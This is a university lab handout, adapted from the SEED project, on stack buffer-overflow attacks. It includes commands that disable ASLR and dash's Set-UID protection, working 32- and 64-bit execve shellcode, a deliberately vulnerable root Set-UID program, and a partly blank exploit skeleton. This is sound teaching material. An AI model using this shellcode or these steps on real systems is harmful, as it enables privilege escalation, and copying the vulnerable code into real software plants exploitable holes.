Buffer Overflow Attack

Background Information

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundary of a buffer. This vulnerability can be used by a malicious user to alter the flow control of the program, leading to the execution of malicious code.

The objective of this lab is for students to gain practical insights into this type of vulnerability and learn how to exploit the vulnerability in attacks.

In this lab, students will be given a program with a buffer-overflow vulnerability; their task is to develop a scheme to exploit the vulnerability and finally gain the root privilege.

In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in the operating system to counter against buffer-overflow attacks.

Lab Environment

This lab has been adapted from SEED Project. https://seedsecuritylabs.org/labsetup.html.

Install VirtualBox and Ubuntu 20.04 on your computer according to the instructions given the link above. You can create AWS virtual machine should you don't have sufficient computer resources at your disposal.

Environment Setup

Turning Off Countermeasures

Modern operating systems have implemented several security mechanisms to make the buffer-overflow attack difficult. To simplify our attacks, we need to disable them first. Later on, we will enable them and see whether our attack can still be successful or not.

Address Space Randomization: Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. This feature can be disabled using the following command:

```
$ sudo sysctl -w kernel.randomize_va_space=0
```

Configuring /bin/sh: In the recent versions of Ubuntu OS, the /bin/sh symbolic link points to the /bin/dash shell. The dash program, as well as bash, has implemented a security countermeasure that prevents itself from being executed in a Set-UID process. Basically, if they detect that they are executed in a Set-UID process, they will immediately change the effective user ID to the process's real user ID, essentially dropping the privilege.

Since our victim program is a Set-UID program, and our attack relies on running /bin/sh, the countermeasure in /bin/dash makes our attack more difficult. Therefore, we will link /bin/sh to another shell that does not have such a countermeasure (in later tasks, we will show that with a little bit more effort, the countermeasure in /bin/dash can be easily defeated). We have installed a shell program called zsh in our Ubuntu 20.04 VM. The following command can be used to link /bin/sh to zsh:

```
$ sudo ln -sf /bin/zsh /bin/sh
```

StackGuard and Non-Executable Stack: These are two additional countermeasures implemented in the system. They can be turned off during the compilation. We will discuss them later when we compile the vulnerable program.

Getting Familiar with Shellcode

The ultimate goal of buffer-overflow attacks is to inject malicious code into the target program, so the code can be executed using the target program's privilege. Shellcode is widely used in most code-injection attacks. Let us get familiar with it in this task.

C Version of Shellcode

A shellcode is basically a piece of code that launches a shell. If we use C code to implement it, it will look like the following:

```
#include <stdio.h>
int main() {
   char *name[2];
   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
```

Unfortunately, we cannot just compile this code and use the binary code as our shellcode. The best way to write a shellcode is to use assembly code. In this lab, we only provide the binary version of a shellcode.

32-bit Shellcode

```
; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp          ; ebx --> "/bin//sh": execve()'s 1st argument
; Construct the argument array argv[]
push eax              ; argv[1] = 0
push ebx              ; argv[0] --> "/bin//sh"
mov ecx, esp          ; ecx --> argv[]: execve()'s 2nd argument
; For environment variable
xor edx, edx          ; edx = 0: execve()'s 3rd argument
; Invoke execve()
xor eax, eax
mov al, 0x0b          ; execve()'s system call number
int 0x80
```

The shellcode above basically invokes the execve() system call to execute /bin/sh. In a separate SEED lab, the Shellcode lab, we guide students to write shellcode from scratch. Here we only give a very brief explanation.

- The third instruction pushes "//sh", rather than "/sh" into the stack. This is because we need a 32-bit number here, and "/sh" has only 24 bits. Fortunately, "//" is equivalent to "/", so we can get away with a double slash symbol.
- We need to pass three arguments to execve() via the ebx, ecx and edx registers, respectively. The majority of the shellcode basically constructs the content for these three arguments.
- The system call execve() is called when we set al to 0x0b, and execute "int 0x80".

64-Bit Shellcode

We provide a sample 64-bit shellcode in the following. It is quite similar to the 32-bit shellcode, except that the names of the registers are different and the registers used by the execve() system call are also different. Some explanation of the code is given in the comment section, and we will not provide detailed explanation on the shellcode.

```
xor rdx, rdx            ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh'     ; the command we want to run
push rax
mov rdi, rsp            ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx                ; argv[1] = 0
push rdi                ; argv[0] --> "/bin//sh"
mov rsi, rsp            ; rsi --> argv[]: execve()'s 2nd argument
xor rax, rax
mov al, 0x3b            ; execve()'s system call number
syscall
```

Invoking the Shellcode

We have generated the binary code from the assembly code above, and put the code in a C program called call_shellcode.c inside the shellcode folder. If you would like to learn how to generate the binary code yourself, you should work on the Shellcode lab. In this task, we will test the shellcode.

Listing 1: call_shellcode.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char shellcode[] =
#if __x86_64__
"\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
"\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
"\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
#else
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
"\xd2\x31\xc0\xb0\x0b\xcd\x80"
#endif
;
```

```
int main(int argc, char **argv)
{
    char code[500];
    strcpy(code, shellcode); // Copy the shellcode to the stack
    int (*func)() = (int(*)())code;
    func(); // Invoke the shellcode from the stack
    return 1;
}
```

Understanding the Vulnerable Program

The vulnerable program used in this lab is called stack.c. This program has a buffer-overflow vulnerability, and your job is to exploit this vulnerability and gain the root privilege. The code listed below has some non-essential information removed, so it is slightly different from what you get from the lab setup file.

Listing 2: The vulnerable program (stack.c)

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
        char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);
    printf("Returned Properly\n");
    return 1;
}
```

The above program has a buffer overflow vulnerability. It first reads an input from a file called badfile, and then passes this input to another buffer in the function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() is only BUF SIZE bytes long, which is less than 517. Because strcpy() does not check boundaries, buffer overflow will occur. Since this program is a root-owned Set-UID program, if a normal user can exploit this buffer overflow vulnerability, the user might be able to get a root shell. It should be noted that the program

gets its input from a file called badfile. This file is under users' control. Now, our objective is to create the contents for badfile, such that when the vulnerable program copies the contents into its buffer, a root shell can be spawned.

Compilation

To compile the above vulnerable program, do not forget to turn off the StackGuard and the non-executable stack protections using the -fno-stack-protector and -z execstack options (Line 1). After the compilation, we need to make the program a root-owned Set-UID program. We can achieve this by first change the ownership of the program to root (Line 2), and then change the permission to 4755 to enable the Set-UID bit (Line 3). It should be noted that changing ownership must be done before turning on the Set-UID bit, because ownership change will cause the Set-UID bit to be turned off.

(1) $ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c

(2) $ sudo chown root stack

(3) $ sudo chmod 4755 stack

The compilation and setup commands are already included in Makefile, so we just need to type "make" to execute those commands. The variables L1 and L2 are set in Makefile; they will be used during the compilation. If the instructor has chosen a different set of values for these variables, you need to change them in Makefile.

Task 1: Launching Attack on 32-bit Program (Level-1)

Investigation

To exploit the buffer-overflow vulnerability in the target program, the most important thing to know is the distance between the buffer's starting position and the place where the return-address is stored. We will use a debugging method to find it out. Since we have the source code of the target program, we can compile it with the debugging flag turned on. That will make it more convenient to debug.

We will add the -g flag to gcc command, so debugging information is added to the binary. If you run make, the debugging version is already created. We will use gdb to debug stack-L1-dbg. We need to create a file called badfile before running the program.

```
$ touch badfile → Create an empty badfile
$ gdb stack-L1-dbg
gdb-peda$ b bof  → Set a break point at function bof()
Breakpoint 1 at 0x124d: file stack.c, line 18.
gdb-peda$ run → Start executing the program
...
Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
18 {
gdb-peda$ next → See the notes below
...
22 strcpy(buffer, str);
gdb-peda$ p $ebp → Get the ebp value
$1 = (void *) 0xffffdfd8
gdb-peda$ p &buffer → Get the buffer's address
```

$2 = (char (*)[100]) 0xffffdfac
gdb-peda$ quit → exit

Note 1. When gdb stops inside the bof() function, it stops before the ebp register is set to point to the current stack frame, so if we print out the value of ebp here, we will get the caller's ebp value. We need to use next to execute a few instructions and stop after the ebp register is modified to point to the stack frame of the bof() function.

Note 2. It should be noted that the frame pointer value obtained from gdb is different from that during the actual execution (without using gdb). This is because gdb has pushed some environment data into the stack before running the debugged program. When the program runs directly without using gdb, the stack does not have those data, so the actual frame pointer value will be larger. You should keep this in mind when constructing your payload.

Launching Attacks

To exploit the buffer-overflow vulnerability in the target program, we need to prepare a payload, and save it inside badfile. We will use a Python program to do that. We provide a skeleton program called exploit-L1.py, which is included in the lab setup file. The code is incomplete, and students need to replace some of the essential values in the code.

Listing 3: exploit-L1.py

```
#!/usr/bin/python3
import sys
shellcode= (
"" # Copy and paste shellcode for 32 bit for the tasks in this homework.
).encode('latin-1')
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))
##################################################################
# Put the shellcode somewhere in the payload
start = 0 # Need to change
content[start:start + len(shellcode)] = shellcode
# Decide the return address value
# and put it somewhere in the payload
ret = 0x00 # Need to change
offset = 0 # Need to change
L = 4 # Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
##################################################################
# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)
```

After you finish the above program, run it. This will generate the contents for badfile. Then run the vulnerable program stack. If your exploit is implemented correctly, you should be able to get a root shell:

$./exploit-L1.py // create the badfile

$./stack-L1 // launch the attack by running the vulnerable program

```
# ← Yes! You've got a root shell!
```

In your task report, in addition to providing screenshots to demonstrate your investigation and attack, you also need to explain how the values used in your exploit-L1.py are decided. These values are the most important part of the attack, so a detailed explanation can help the instructor grade your report. Only demonstrating a successful attack without explaining why the attack works will not receive many points. Provide your exploit-L1.py file, too.

Task 2: Launching Attack without Knowing Buffer Size (Level-2)

In the Level-1 attack above, using gdb, we get to know the size of the buffer. In the real world, this piece of information may be hard to get. For example, if the target is a server program running on a remote machine, we will not be able to get a copy of the binary or source code. In this task, we are going to add a constraint: you can still use gdb, but you are not allowed to derive the buffer size from your investigation. Actually, the buffer size is provided in Makefile, but you are not allowed to use that information in your attack.

Your task is to get the vulnerable program to run your shellcode under this constraint. I assume that you do know the range of the buffer size, which is from 100 to 200 bytes. Another fact that may be useful to you is that, due to the memory alignment, the value stored in the frame pointer is always multiple of four (for 32-bit programs). I provided exploit-L2.py to fill out.

Please be noted, you are only allowed to construct one payload that works for any buffer size within this range. You will not get all the credits if you use the brute-force method, i.e., trying one buffer size each time. The more you try, the easier it will be detected and defeated by the victim. That's why minimizing the number of trials is important for attacks. In your task report, you need to describe your method, and provide evidence. Provide your exploit-L2.py file, too.